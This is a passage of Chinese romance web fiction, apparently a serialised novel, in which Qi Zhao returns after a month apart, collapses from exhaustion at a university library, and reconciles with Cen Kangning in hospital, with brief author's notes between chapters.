离别时笑着的岑康宁。 第二天早上从卧室里走出来,面无表情,眼眶红肿的岑康宁。 忽然变得挑食不爱吃饭的岑康宁,游戏打到深夜三点不睡觉的岑康宁。 说话的岑康宁。 沉默的岑康宁。 起先客厅里的摄像头正常工作着,祁钊虽然与他分开,却仍可以见到他,虽然效果无异于饮鸩止渴。 但很快,当岑康宁发现了正在运作中的摄像头,拔掉了电源。 连饮鸩止渴的机会也没给祁钊剩下。 后来那一整天,祁钊整个人也像是被拔掉电源一样。 无数次他想中止自己的计划,无数次又被理性叫停。 而那一天的后续便是他下载了他曾经认为自己永远不会打开的游戏,登录了那个之前他购买好的游戏账号。 花费了一整晚的时间。 祁钊熟悉了这个游戏。 第二天一大早,便迫不及待对岑康宁提出好友申请。 一番周折。 祁钊成为了岑康宁列表里的游戏好友。 成了“会捕猎的猫。” 每天下午准时上线陪他打游戏。 可饶是如此,饶是每一天都能够跟岑康宁在游戏里打字对话,饶是偶尔运气好,能够听到他麦克风里传来的些许声音。 祁钊还是觉得不够。 想见他。 想亲吻他。 思念是二乙酰吗啡,让人上瘾。 而也许是一个月实在是太久,所以当祁钊终于时隔一个月再度登录自己的大号微信,点进那只小猫头像的时候。 一瞬间。 他竟有些类似于近乡情怯的情绪。 分明一切都结束了,这一次他可以放心大胆的找到岑康宁,告诉他,我回来了。 他们曾经有一个不太对的开始,也曾有一个很令人不开心的结局。但这一次,曾经的那些阻碍将随着那班飞机的离去烟消云散。 祁钊完全可以以崭新的姿态出现在岑康宁面前。 不必担忧一通未知的电话,一个随时可能会出现搞砸一切的相亲。 但,一种莫名的担忧仍然萦绕在祁钊的周身。 他想到签下离婚协议那天岑康宁的笑脸。 又想起很久之前,他将实验室那只调皮的流浪猫接回实验室时,前台小姐告诫他的忠告: “祁先生,您是打算领养这只猫吗?” “不是的。” 当时,祁钊这样告知前台。 前台小姐眼里闪过失望的同时,却也松了一口气:“好吧,这样也好。” “为什么?” 前台小姐摸着猫包里正在舔毛的猫,怜爱地说:“小猫咪很记仇的,没有被领养过还好,要是被领养了却被抛弃,这辈子都不会原谅主人。” “会原谅我吗?” 点进岑康宁朋友圈前的祁钊不怎么抱期待地妄想。 随后他的妄想果然瞬间破灭。 因为就在五分钟前岑康宁刚刚发了一条最新朋友圈,照片内容是排成列的榴莲,以及指代性异常明显的两个表情: 【白眼】【白眼】。 — P大图书馆。 在朋友圈里怒翻两个大白眼的岑康宁刚刚挂断一通电话。 电话来自郭振,振哥收到快递后感激异常,在媳妇儿的最高指示下非得亲口给岑康宁说谢谢不行。 哪怕岑康宁坚称。 那箱榴莲是学校发的教师节福利,自己一点儿都不喜欢。 振哥却还是在电话里千恩万谢:“你这一箱榴莲可不便宜啊宁宁,白送给我多不好意思啊。” 岑康宁语气如常:“没事儿振哥,我记得敏敏姐喜欢这东西。” “倒是确实喜欢,刚刚就嚷嚷着要开一个。” 郭振高兴道:“我也尝了一口,确实好吃。” 岑康宁笑笑:“喜欢就好,我还怕学校发的口味不好呢。” “怎么会,P大就干不出这种事情!”郭振脱口而出以后忽然又想起一件事来:“唉对了,你要榴莲壳干啥啊?做实验?” 岑康宁:“别问,问就是有用。” 他这么说,郭振自然也就不接着问了,毕竟白拿这一箱榴莲已经是他占便宜。 不过关于另一件事…… 郭振想了想,最终还是没忍住,试探着关心了一句。 “宁宁,钊哥他……最近怎么样了?” “……” 电话那头迎来一阵短暂的沉默。 过了一会儿后,方传来岑康宁轻描淡写的声音。 “他?他很好啊,没什么的,不用担心。” 岑康宁如此告诉郭振。 正如如此告诉自己。 郭振听到这儿也就知道问不出个什么来,便岔开了话题,又聊起其他事情。 两人很久没见。 足足聊了十分钟,从榴莲聊到家庭,再聊到郭振的新单位,手机都有些发烫了,才挂断电话。 而挂断电话以后,郭振不知道的是,方才还在电话里与他还谈笑风生,仿佛什么都没发生过一样的岑康宁在挂断电话以后,倏地,表情一变。 变得冷漠。 变得暴躁。 变得不像岑康宁,反而像是某种动漫里的喷火巨龙一样,走在路上走着走着就想喷出几口火来,最好能一口火毁灭整个世界。 岑康宁也不想的。 奈何今天距离他与祁钊签下离婚协议,祁钊离职P大,已经过去整整一个月。 一个月的时间足以改变很多东西。 岑康宁早已经度过了当初那段替祁钊担心的时间,也早就过了被某个渣男一顿晚餐外卖外加几颗糖就能哄好的时期。 在经历过最早的生气,后来的担心,再后来的略有安心,到现在的岑康宁浑身上下就写着两个大字: 暴躁。 可不得暴躁? 截止今天,祁钊已经一个月没消息。 这个人就好像人间蒸发了一般,没人知道他去哪儿了,在干什么。 没消息也就算了。 至少有外卖,有糖。 每天中午下午准时准点送过来的外卖跟糖是岑康宁唯一能与祁钊产生的联系,也是他荒芜的内心中唯一一丝慰藉。 可今天中午的外卖里。 竟然没糖了。 什么意思? 姓祁的不想哄了呗? 哄了一个月就没耐心了?那他这一个月傻乎乎地等他消息算什么? 岑康宁越想越气,气得当场下单了一整箱榴莲。 虽然岑康宁自己一向是不喜欢榴莲的。 但众所周知,榴莲壳是个好东西。 岑康宁拍了照片,故意把这一箱子榴莲的照片发在朋友圈里,设置仅祁钊单人可见。 他知道这样的手段很幼稚。 而且说不定祁钊最近根本顾不上朋友圈。 但岑康宁就是控制不了自己。 就好像这一个月,哪怕他一百次一千次的告诉自己要开心,要享受暴富生活暂时忘记祁钊。 但第一百零一次,第一千零一次。 他仍然是会想起祁钊。 打游戏的时候想起电脑是他买的,专门买的最新的显卡5090,无论下什么副本玩什么游戏都不会卡。 每次进副本,他总是可以第一个缓冲完毕。 帮会群里渐渐也发现这个秘密。 问他什么配置。 他说起5090,群友们快羡慕疯了,都问他哪里搞来的,而他只能笑着把话题岔过去。 吃饭的时候想起祁钊。 因为祁钊每天雷达不动给他点外卖。 知道他不爱吃蔬菜,爱吃零食垃圾食品,所以每天的外卖里想方设法加蔬菜,加优质蛋白。 甚至上班的时候也想起祁钊,因为该死的……天气转凉以后,他不得不每天用上那个粉色蕾丝坐垫。 但往往想着想着,就想到那天签离婚协议。 每一次回想起当时的场景,那种浑身血液逆流,遍体生寒的感觉就会再度出现,瞬间带走他身上的所有情绪。 就好像此刻。 分明刚才跟振哥通完电话,也发了榴莲朋友圈。 但站在图书馆三楼人来人往的天台上看着楼下那一张张陌生的脸时,很忽然地,岑康宁情绪开始崩溃。 “祁钊,到底哪个是你?” 他手握紧栏杆,眼睛一眨不眨地看向人群。 “已经一个月了,你还回不回来,不打算回来的话,至少给我个准信。” “不是说好了百分之九十五点儿七?” “骗子,分明是百分之零……今天是百分之零,昨天也是百分之零……” 岑康宁面色苍白,很固执地在人群中辨认着那个熟悉的身影。 但很遗憾的是,无论他怎么找,怎么等,都没有他想要的那个人出现。 终于,岑康宁累了。 像是被抽干了水分的一条咸鱼。 一点一点的,失去了再游动的力气。 “好吧,看来今天的确也是百分之零。” 最后岑康宁转过身来,呢喃自语。 他开始往回走,打算回到自己的工位上,继续过完这普普通通,又平平无奇的一天。 然而也许今天注定不普通。 走回去的路上立刻发生了一件小插曲。 一个学生把岑康宁拦住。 岑康宁以为他是要问路,结果那个大男生红着脸,说不是问路。 周围传来一些熟悉的窃窃私语。 从初中开始就习惯被人表白的岑康宁瞬间明白这是怎么一回事。 哑然失笑的同时。 他只能婉拒。 “不好意思啊同学,我是老师。” 那男生却显然是有备而来,手里拿着一朵红玫瑰,紧张地说:“小岑老师,我知道您是老师,我每天都能在图书馆见到您。” “这……” “没有想立刻让您答应我的意思,就是单纯想表个白。” 男生红着脸说。 “上回在图书馆我丢了手机,是您不辞辛苦,反复帮我查监控找清洁阿姨,才把手机找了回来。真的特别特别感谢您!” “是你。” 岑康宁想起来了。 原来是一周前的那个男生,离开文艺馆的时候忘记带手机,结果回来找的时候才发现手机不见了。 这种情况在图书馆其实很常见,岑康宁入职以来也至少帮忙处理过三起。 因此岑康宁很快就安抚好男生,随后带着他去中控室调出监控,找到阿姨。 最后那台手机在垃圾桶里被找到了。 因为阿姨清理桌面的时候,手机正好卡在一堆草稿纸里。 岑康宁没觉得这是他做了一件什么了不得的好事,顶多觉得是顺手之劳,所以手机找到以后,没过两天就忘了。 却没想到,他所以为的顺手之劳,却被男生铭记在心。 “对,是我。” 男生露出感动的眼神,一脸幸福看向岑康宁: “那天以后我就对您念念不忘,每天晚上做梦都梦到您,我……” “有老公了,抱歉。” 岑康宁打断他的表白。 虽然默不作声的又在心中加了一句:哪怕老公死了,还没复活。 男生:“……” “对不起打扰了,还是请您把花收下吧!”强行留下那朵玫瑰后,男生伤心离去。 而岑康宁被迫尴尬地拿着那朵玫瑰。 很忽然地,又想起昨天晚上在游戏里发生的事情。 最近一段时间他经常跟同一个队友打游戏,就是那个会捕猎的猫。 会捕猎的猫游戏技术不错。 话少且能配合岑康宁。 而且也许是因为知道岑康宁死了老公的缘故,在各种副本奖励里也都会优先让岑康宁挑选。 岑康宁一开始觉得这人也许就是同情心泛滥,没怎么在意。 反正打游戏而已,只要搭子不拖后腿就行。 直到昨天,会捕猎的猫在游戏副本里给他放了一百个心形烟花。 嗯……那玩意儿一个价值一百块人民币。 岑康宁看看手中鲜艳欲滴的玫瑰,又想起昨晚那一片烟花海,此刻心中只有一个念头—— “祁钊,看看你都做了什么好事儿。” 才一个月。 现在连一只猫都敢追我了。 你要是再不出现…… 岑康宁猛地咬住唇,将眼眶里的眼泪憋了回去,随后若无其事地顶着围观路人八卦的目光与窃窃私语,信步走进馆内。 他却不知道的是。 就在他走进那道玻璃门的一瞬间,一个熟悉的身影,正踩着急促的步伐匆匆出现在P大校门前。 他的出现让所有路过的老师学生纷纷侧目而视。 但凡是稍微关注一点儿最近学校热点的人都不约而同拿出手机。 “卧槽,我好像刚刚在学校里看到祁神了!” “真的假的?祁神不是离职了吗?” “不知道啊,但我看他刚刚非常顺利的过了门禁……” 那些八卦消息像是长了翅膀一样飞速地传遍校园。 而对此,话题的中心人物一无所觉,只自顾自地朝着图书馆的方向不断前进。 哪怕前进的过程中下了雨。 雨水打湿了他的头发,风衣。 此时此刻的祁钊心中却有且只有一个念头,那就是他要赶在岑康宁下班前,第一时间,最快速度的见到岑康宁。 好消息是。 这次祁钊的计划成功了。 他果然在下午五点前准时赶到图书馆三楼,正正好好堵住即将下班的岑康宁。 但不幸的是。 几乎是下一秒,他就立刻迎来一个坏消息。 长达一个月的失眠,精神紧绷,无法进食,终于是在一个月后显示出其强大的威力。 永远都气定神闲、沉着冷静的祁教授。 在看到岑康宁后的第一眼后,长腿一迈正要向前,但此时天旋地转眼前一黑。 砰—— 当着所有人的面,他倒了下去。 彻底失去所有意识前,祁钊所保留的最后记忆是岑康宁在自己耳边惊喜大喊: “太好了,还有气!” 作者有话说: 宁宁:谁准你真的死了?[菜狗] 第78章 一个小时后。 医院。 消毒水的味道弥漫在整个房间,目光所及之处,一切都是白色的。 白色的天花板。 白色的墙面。 以及已经跟墙面颜色差不多融为一体的,某个人苍白的脸。 那张脸无疑仍是英俊的。 哪怕此刻熟睡着,病态尽显,又因为瘦了许多的缘故,线条无端变得锋利。 可看着这张熟悉中又透着些许陌生的脸,岑康宁总算从这一个小时的兵荒马乱中缓过神来,长长地松了口气。 但也就只有片刻。 片刻后他近乎是立刻咬牙切齿地瞪了床上熟睡的男人一眼—— “营养不良,极度缺乏睡眠,祁钊,你可真是好样的!” 要他怎么能不生气? 一小时前,他拿着那个学生的玫瑰花走进图书馆,本以为再过一会儿,就可以直接下班。 没想到刚走进图书馆。 玉姐匆匆忙忙就从自习区冲了过来。 “玉姐,你怎么……” “这不重要小岑老师,我要告诉你一个好消息!” 李明玉激动无比地道。 另一个正在上班的学生兼职露出茫然的眼神,岑康宁也十分不解。 “有什么好消息?” 他这么说着。 表情看上去很平静,仿佛根本不期待有什么所谓的好事发生。 然而只有岑康宁自己心知肚明,听到这句话的瞬间心脏在胸腔内部咯噔一响。 原本已经沉入湖底的某种期盼,再度有了上浮的趋势。 “是钊哥啊,钊哥的消息。” 李明玉迫不及待地说。 岑康宁拿着玫瑰的手指登时一僵,但面上,却还是装作若无其事的模样。 “他能有什么消息?” 他淡淡地说。 李明玉却没有再多卖官司,二话不说给岑康宁看自己的微信。 “你看,这不是钊哥是谁?” “……” “我基友说他亲眼看见的,钊哥出现在校门口了,而且他现在正在往图书馆的方向过来!” “……” 足足十秒钟岑康宁没说出话来。 十秒钟后那朵可怜的玫瑰花已经被飞速扔进垃圾桶里。 他收拾好心情,深吸一口气,假装自己很冷静的样子,但实际上脑子里已经乱成一团浆糊,连该怎么下班都要忘记。 这时李明玉却又看了一眼手机,小声尖叫:“卧槽,进图书馆大门了!” 岑康宁:“玉姐镜子借我就现在!” 最后的一分钟。 岑康宁绝对发挥出了自己前所未有的效率。 梳头,整理衣服,嚼口香糖……他忐忑不安地走出文艺馆大门,听到自己心脏在砰砰乱跳着,简直比高考那天还要紧张。 然而—— 祁钊竟然晕了。 就那么当着自己的面,不由分说地砸了下去。 那一瞬间岑康宁感到懊悔,他为什么要到处跟网友说自己老公死了。 现在好了。 老公好像真的要死了。 是对他的惩罚么? 岑康宁这样想着,悲愤欲绝地感受着祁钊衬衫下的心跳,随后感到庆幸。 太好了! 心脏还跳动着。 后来围观的学生们一拥而上。 有人打120,有人报警。 在热心学生的帮忙下,岑康宁送祁钊到了医院。 到了医院却也没办法安心。 因为暂时还不能确定祁钊到底是什么原因晕倒。 所以一路上各种各样的狗血剧情开始轮番在岑康宁脑海中上演,而这时他在文艺馆工作的弊端就难免显现了出来。 文艺馆里多的是狗血小言。 岑康宁上班无聊,看了没有十本也有七本八本。 一时间白血病,骨癌,脑癌各种绝症接二连三冒了上来,岑康宁坐在急诊室门口怕地差点吐血。 直到验血结果出来。 医生说: “没什么大毛病,就是睡着了。” “……” 很难形容那一瞬间岑康宁的心情,从地狱到天堂再从天堂到地狱不过如此。 当时他还有点不敢相信,以为医生可能在骗自己。 “医生,您实话实说,我能接受得了的。” 一般人怎么可能在这种情况下睡着? “真没什么特别大的毛病。” 医生无奈道:“但你要是完全没毛病,也不对。患者是不是失眠很久了?” 岑康宁一怔,很迟缓地眨了下眼:“……嗯。” “睡眠严重不足,压力太大,所以才会大庭广众下睡着。” 医生又判断道:“而且他是不是最近胃口也不好,也不吃东西?” “对。” 岑康宁想到方才把祁钊抬上担架的瞬间。 心脏蓦地一疼。 这人至少瘦了十五斤,可才过去一个月。 医生叹了口气:“唉,最近遇到事儿了吧,年轻人,有什么过不去的坎儿。” 岑康宁唇色苍白,面色也变得惨白:“那,有没有什么后续的危险?” 医生说:“没有,但之后不能再不吃东西不睡觉了。也是亏他以前身体素质特别好才能抗这么久,搁一般人三天就倒下了。” 随后医生给祁钊开了营养针。 要岑康宁去缴费。 岑康宁整个人浑浑噩噩,机械式的行动,一直到营养针打完了,才终于顾得上生气。 “平时睡眠不是挺好的吗?” “一沾床就睡着了,睡着了以后谁都喊不醒你。” “怎么离婚了忽然就连觉也不会睡了?” “你认床啊?多大人了。” “还有,给别人点外卖的时候你还记得营养均衡,天天换着花样,你自己呢?嗯?吃了什么东西?竟然敢瘦十七斤——” 岑康宁倒吸一口凉气。 至今还是没能从报告单上的体重数字上没缓过来。 一个月十七斤是什么概念。 一天瘦半斤还多。 减肥人都没这么厉害,祁钊一个月不吭不响做到了。 “我是不是还应该夸你厉害,嗯,祁教授?” “……” 面对岑康宁的指责,躺在病床上的祁钊闭着眼,一句话也说不出来。 而岑康宁骂了一会儿,看着那张虽然瘦削了许多,却依然英俊,仿佛微微带着笑意的脸,忽然间就泄了气。 “算了,原谅你。” 他把头埋在祁钊的手里,小声地说。 “只要你醒。” 他又把自己的脸在祁钊的手上蹭了蹭,眷恋地道。 其实这段时间说岑康宁完全不知道祁钊在做什么也不尽然。 一开始他的确不清楚。 只是隐约有些预感。 但后来他接到祁未言的电话,在咖啡馆里两人第一次正式见面,于是岑康宁大概了解了事情的始末。 “对不起,好像是我的问题。” 祁未言开门见山就说。 岑康宁看着祁院长苦恼的表情,不由得惊讶地蹙起眉心:“为什么这么说,叔叔?” “我……唉。” 祁未言叹了口气:“我不该说那句话的。” 岑康宁于是更为不解。 哪句话? 终于在一阵短暂的沉默后,祁未言说起那天上午自己与前妻的对话。 “对不起,我不该提起你们的,我早该知道这些年她的控制欲愈发离谱,比起从前过犹不及。但我本来以为,你是她介绍给祁钊的,所以……” 祁未言话没说完,眼神愧疚地看向岑康宁。 岑康宁却没什么心情去揣测祁未言此时的想法与目的。 他此刻满心都是祁未言方才说的话。 原来,那通未接是这个意思。 原来是刘海俐要祁钊接着相亲,就因为她认为两人产生了感情。 原来这事儿竟然还是祁未言捅给刘海俐的。 岑康宁一边觉得这世界是不是疯了的同时,一边又难以避免地,怨恨起眼前的祁未言。 祁院长说他不是故意的,没想到,对不起。 可是有用吗? 说着这些话的他可曾在刘海俐闹上门来的时候帮过祁钊一点? 没有出现在该出现的时候。 如今却冠冕堂皇的出现在岑康宁的面前。 岑康宁唇角的笑意一点一点地收敛了回去。 片刻后,他礼貌却没有任何尊重地轻轻抬眼:“所以,祁院长,既然事情已经发生了,您又找我做什么呢?” 祁未言顿了顿,语气委婉地说:“你应该知道吧,今年对祁钊很关键。” “……” “所以我想,你能不能出面,劝一劝祁钊。至少先把杰青评完,过段时间再跟他妈闹脾气。” 岑康宁冷静了好一会儿,才没把自己口袋里装着的黄符拿出来摔在桌上。 他不断地在心头重复,这人毕竟是祁钊的爸爸,亲生的。 才能勉强压抑住愤怒的情绪。 但愤怒是压抑住了,嘲讽却不由自主地冒了出来。 “不可以呢叔叔。” “为什么?” “当然是因为您一句话,我们俩现在已经离婚了。我有什么资格出面?” 事实上只是签了离婚协议。 证还没去领。 但岑康宁并不打算告诉祁未言这一点,并且打算更为直白地拒绝祁未言。 “况且祁钊是成年人,我认为他有权利做出关于自己的任何决定。” “可是……” “叔叔,祁院长。” 岑康宁又打断了祁未言即将脱口而出的劝阻,目光毫不闪避地,直视着祁未言。 “我能问您一个问题吗?” “……问吧。” 祁未言略有迟疑,却还是答应。 岑康宁于是态度诚恳地问他:“请问,您知道阿姨会每年让祁钊过生日吃长寿面吗?” 祁未言说:“知道。” 但他并不以为这是一件什么大不了的事情。 甚至反问岑康宁:“吃长寿面怎么了,不是很正常吗?” 岑康宁最终还是没忍住,把那张黄符拿了出来,扔进祁未言面前的咖啡里。 “很正常。但您知不知道祁钊有严重的麸质过敏?” “……” “他从小吃氯雷他定,可据我了解就算服用药物,仍有过敏至病,至残,乃至至死的可能性。您一次又一次的结婚的时候,有考虑过这一点吗?” 祁未言被岑康宁连番质疑逼迫地说不出话来。 像一开始一样,他只是说,我不知道,不是故意的。 可是,又有什么用呢? 黄符逐渐融化在咖啡里,岑康宁冷静地站起身来结束这次会面,临走前他告诉祁未言:“如果您从前什么都不知道,那也请您现在开始什么都别管,让祁钊自己来解决。” “这是他的人生,容不得其他人来插手。” 岑康宁这样告诫祁未言。 其实也是告诫他自己。 不要贸然的出去插手,不要出现打乱祁钊的计划,等着他,相信他一定能解决,可…… 岑康宁不得不承认的是,他现在后悔了。 在看到祁钊的一瞬间就后悔了。 后悔地无与伦比。 他想自己怎么真的可以如此狠心,让祁钊一个人不吃不喝也不睡,然后瘦了十七斤? …… 消毒水的味道习惯以后,逐渐也没有那么刺鼻。 VIP病房安静温暖,外头还淅淅沥沥下着雨,岑康宁在祁钊的床边坐了一会儿便也有些犯困。 尤其是他看着祁钊睡得很香,不由得便心生起愤懑的情绪。 凭什么就你一个人睡那么香? 我也要睡。 这么想着,鬼使神差地,岑康宁掀开祁钊身上的被子,自己也脱了外套,躺了进去。 病床其实并不舒服。 毕竟跟家里十多万的床垫不能比。 哪怕是VIP病房的双人大床,其实睡起来也有些偏硬。而且病房里没办法完全关门,时不时就会有医生护士来查房。 但不知怎的,同样失眠熬夜了一整个月的岑康宁忽然间像是被祁钊传染了困意一样,刚躺上去就眼前一黑,彻底陷入深眠。 这一觉他睡得尤其安稳。 连梦都没做。 再睁开眼已经是第二天,手机时间显示,他睡了整整十五个小时。 “手机坏了?” 这是岑康宁的第一反应。 很快他却感觉到腰被向后搂了一下,紧接着,熟悉中带着沙哑的嗓音在他背后响起。 “没坏。” 岑康宁:“……” 下意识地,岑康宁想从这个暖烘烘的被窝里钻出去,以防自己丧失意志力。 可背后那人也不知道是不是趁这十五个小时打了多少营养针,力气奇大无比。 岑康宁怎么钻都钻不出去。 岑康宁气还没消,心想,力气很大啊你?瘦了十七斤还力气这么大,很得意? 他于是伸手去掰搂在腰上的那只手。 可掰不开,完全掰不开。 后来还干脆被人转了个面儿,被迫正面直对那张脸。 岑康宁眼皮一抽:“干嘛?” “不干嘛。” 祁钊眼睛一眨也不眨地看着怀里的人,贪婪地用眼神描摹着他的脸。 鼻翼上的小痣。 漂亮的桃花眼。 祁钊一直都知道岑康宁很漂亮,但从未有过一次觉得岑康宁漂亮的这么……勾人犯罪。 冷静下来以后,祁钊问:“榴莲在哪里?” 说起榴莲岑康宁可就不困了。 不过睡了足足十五个小时的岑康宁现在本来就不困。 他趁着对方松懈,哗啦一下掀开被子,从被窝里钻出去,居高临下冷酷无比地道: “什么榴莲,我不知道。” “朋友圈里的榴莲。” 祁钊看了眼空荡的怀里,略有不满地:“不是要我跪吗?在哪里?” “……” 岑康宁无语了半晌,已经完全忘了刚刚睡觉前说后悔的人是谁,非常自然地就说起言不由衷的话来: “不知道,没在这里。而且谁说那榴莲是给你准备的?” 说着岑康宁冷哼一声,抱起双臂高贵冷艳:“呵,等着跪我榴莲的从这里可以排队到P大,你知道从这里到P大有多远吗?” “2.34公里。” “……知道又有什么用?我的意思是你得排队——”岑康宁意味深长,再度看了祁钊一眼:“排队懂吗?” 刷—— 一道快到几乎看不清速度的残影闪现。 岑康宁又一次被人拽到怀里,这一次更干脆,直接被压在了身下,整个人完全被男人所笼罩。 祁钊身上的海盐柠檬味其实已经淡了。 但岑康宁却再一次久违地,在祁钊的身上清晰无比地闻到了属于他的气息。 那是一种夹杂着消毒水,思念,占有欲的味道。 “我知道。”祁钊伸出手,轻轻按在岑康宁柔软的嘴唇上,眼神很暗,声音略低。 “所以,能不能让我排第一?” …… 半秒后。 岑康宁拿出此生最快的闪避速度,好险不险躲开了祁钊的吻。 不仅如此,他还故意把脸闷在枕头上。 一副坚决不让祁钊亲的模样。 见到这一幕,感受到岑康宁前所未有抗拒的态度,祁钊心脏一痛,像是被针扎了一样,密密麻麻的痛苦后知后觉地袭来。 原来,这一个月到底是改变了许多。 原来这一个月真的非常漫长。 原来他的小猫的确在生气,气到连跪榴莲也哄不好。 要怎样才能原谅自己呢? 祁钊想不出答案来,只觉得难受,非同一般的难受。 这时,把自己快憋死的岑康宁却从枕头里发出小声的,底气不足的声音: “我没刷牙,也没洗脸……” 作者有话说: 纸片人没有口气,但宁宁是一只很有包袱的爱干净小猫[三花猫头][三花猫头] 第79章 虽然岑康宁并没有口气问题。 虽然十五个小时前,岑康宁也没有过任何进食,甚至在两人见面前,岑康宁还专门嚼过一颗口香糖。 虽然…… 但那可是整整十五个小时! 一想到这里。 岑康宁就把自己的头埋得极深,几乎要用被子把自己闷死的程度。 “你,先放开……” 他颇有些恼羞成怒地道。 祁钊却一动不动。 “放开啊。” 岑康宁又催促。 祁钊不仅不动了,反而抱得更紧,一双手臂像铁钳一样,牢牢地禁锢住岑康宁。 “再抱抱。” 祁钊哑着嗓子道。 岑康宁感受着这句话里的沉重与想念,蓦地一下,就跟卸了力气一样,浑身上下都失去了反抗的想法。 毕竟,不止祁钊想他,他也实在是太想太想钊哥了。 想他的怀抱,想他的声音。 甚至想到不舍得跟他算账生气。 如今人就在眼前,他又怎么可能舍得真的把人推开呢? 于是两人就这么沉默地抱着。 皮肤隔着薄薄的一层衣服紧贴。 岑康宁可以听到祁钊沉稳的心跳声,祁钊亦可以感受到岑康宁的。 这种沉默的拥抱一直延续到岑康宁感觉到某人的某个部位已经开始蠢蠢欲动的时候,终于,他一挑眉: “还不放?” 毕竟是在医院,随时可能会有人进来,祁钊只能不情不愿地把人放开,自己调整着呼吸。 而终于可以好好透口气的岑康宁在猛猛地呼吸一口后,从床上坐直了身体,准备下床。 “去哪?” 祁钊立刻伸手拦住他。 岑康宁被祁教授这幅生怕自己溜走的模样给逗乐了,不由得笑出声来:“去刷牙洗脸啊,你不是要亲?” 祁钊便不说话了,唯有一双漆黑的眼一眨不眨地盯着岑康宁。 岑康宁故意问他:“你刷了没有?” 祁钊点头。 这漫长的一觉是祁钊先睡的,自然也是他先醒,事实上他在第三个小时的时候就已经醒过一次,与医生在办公室里沟通过自己的身体状况。 “病房里就有卫生间。” 祁钊道。 岑康宁说:“我知道,别忘了是谁送你过来的。” 祁钊又点头:“好。” 说着就要也一并下床,大有一副盯着岑康宁刷牙洗脸的架势。但这一次,反倒是岑康宁拦住了他。 “干嘛去?” “陪你。” 祁钊道。 他倒是坦诚,可惜,岑康宁气还没消:“你一个病号,那么急着下床干什么?” “我……” 祁钊想解释什么,奈何岑康宁完全不给他机会。 “不用解释,也不需要找借口。” 岑康宁强硬地将人又往床上一按:“什么时候你养回了那十七斤,什么时候再跟我谈人权。” 祁钊默不作声地看着岑康宁,岑康宁却非常自然地转身,避开了祁钊的眼神。 这一刻祁钊心下了然。 他的小行星其实不是完全消了气。 只是因为这会儿祁钊人还在医院,再加上两人时隔一个月后的见面,想念盖过了一切,所以才没有直接发火。 可不发火不代表不存在。 这一个月的缺席。 那份事实存在的离婚协议。 两人之间有太多太多的事情需要慢慢解释,那横亘在两人之间空白的744个小时不是能用亲吻就简单跨越得了的。 所以祁钊哪怕再不情愿分开。 这会儿也得先听岑康宁的。 “好的。” 他只能这么说。 但众所周知,权利的让渡一般会产生连锁反应。 当岑康宁一个人进卫生间刷牙洗完脸以后,接下来当他又说:“好饿,我要先去买点儿东西吃”的时候,祁钊自然也根本无法拒绝。 — 咯哒。 病房门合上。 出了病房的岑康宁却长舒一口气,并没有如同想象一般轻松地起来。 祁钊醒了,两人抱了。 按理来说岑康宁应该很安心才是。 可是正如祁钊明白两人之间的事情需要一个解释,岑康宁也非常清楚,两人之间的关系是时候重新定义。 以前归以前。 两人协议结婚,各取所需这没什么好说。 可当岑康宁意识到自己真的喜欢祁钊以后,就完全无法再去用从前的关系来同祁钊相处。 拿一个最简单的例子来说。 若两人还是协议关系。 那么离婚协议不是已经签署了吗? 按照协议规定,两人现在应该是桥归桥,路归路才对。 无论祁钊有没有解决完家里的事情,应该都跟岑康宁没有任何关系。 毕竟作为即得利益者,岑康宁已经拿到他一切。 房子、车子、存款。 哪怕是出自人道主义,岑康宁送祁钊来到医院。但送完人后,确定他脱离了危险以后,岑康宁其实没有任何立场留在这里。 更遑论那些拥抱,亲密。 在岑康宁看来,没有结婚协议,那就是只有恋人才有的相处模式。 而岑康宁与祁钊不是恋人。 至少现在还不是。 所以岑康宁选择了出门冷静,一方面是他的确是饿了,十五个空腹时间对他来说很难熬。 最初的懵然过后。 空荡荡的胃几乎是立刻开始叫嚣起来。 另一方面,岑康宁也需要单独一个人的空间让自己彻底清醒。 只有保持清醒。 他才能够想清楚下一步的打算。 是直接开始追人,还是先放一放,让祁钊把这一个月“罪行”先交代清楚再说。 岑康宁事实上还没做好最后的决定。 他想也许是自己太饿了的缘故,这会儿头脑完全失去理智,于是便打算先吃点儿东西,至少先从饿昏头的状态中缓过来,然后再好好思考跟祁钊的问题。 好消息是医院附近就有一家麦当劳。 岑康宁不必走得太远。 更好的消息是,当他带着麦当劳走到医院餐厅,寻思着给楼上某个瘦了十七斤的病号带上去一点儿病号餐的时候,竟遇到了一个意想不到的熟人。 “小宁?” 在过敏病人专属窗口排队时,有人惊喜地喊他。 岑康宁觉得这声音多少有点儿熟悉,但因为时间太久远,他一时没对上号。 直到转头正对上一张温柔中带着几分惊喜的脸。 岑康宁懵然的表情瞬间也变成惊喜。 “护士长,怎么是您!” 护士长眉眼一弯,温柔地笑着:“是我,我刚刚就看侧脸有点像你,走过来一看,还真是你。” “您不是在圣言医院吗?” 岑康宁也非常高兴。 毕竟当年他短暂失明,护士长也非常照顾他。虽然因为护士长太忙了,留给他的时间并不多,但那些为数不多的温暖,岑康宁依然非常感激。 护士长说:“以前在,后来我搬家了,就跳槽来这里。” 岑康宁道:“那恭喜您了,现在是三甲医院。” “没什么好恭喜的。” 护士长挥挥手:“比在圣言的时候工资低了,还更忙了。” 岑康宁想了想:“倒也是。” “没什么,有得必有失吧。”护士长想得很开,又问起岑康宁:“你呢?小宁,你怎么在这里?” 岑康宁伸手举了举自己手里刚刚买好的牛奶鸡蛋,说:“照顾病人。” “原来是这样。” 护士长了然。 岑康宁笑笑:“要是早知道您在这儿,我应该带一面锦旗过来的。” 护士长果然被逗得很开心:“你这孩子,倒还是一如既往地嘴甜。” 岑康宁说:“不是我嘴甜,是您当初敬业,要不是您照顾我,帮我申请减免了费用,又帮我联系护工,我现在能不能看见还说不定呢。” “我只是做了点儿份内事罢了,不需要你感谢。不过说起这件事——” 护士长顿了顿,仔细看了看如今的岑康宁,确认岑康宁长大的非常完美后,方和蔼可亲地问:“距离你住院五年过去了吧?” 岑康宁点头:“是五年了。” 从他高二到现在大学毕业。 可不是五年。 “五年,好久啊。”护士长亦是点头,露出颇为怀念的表情:“事情过去这么久了,你现在也长大了,所以我觉得有些事情我差不多可以告诉你。” “……什么事儿?” 岑康宁愣了下。 护士长说:“你还记得当年的护工吗?” 岑康宁说:“记得。” 怎么可能不记得。 某种程度上来说,Mr.mysterious是他的初恋。 虽然只是朦朦胧胧的感情,从来没挑明过,对方也没有任何回应。 可是要说忘了。 那就太假。 当然这些话岑康宁不可能对护士长说,当着护士长的面,他只能用状似寻常的语气问:“他怎么了吗?” “他啊,现在正好也在这家医院。” — 同一时间。 综合住院部六层。 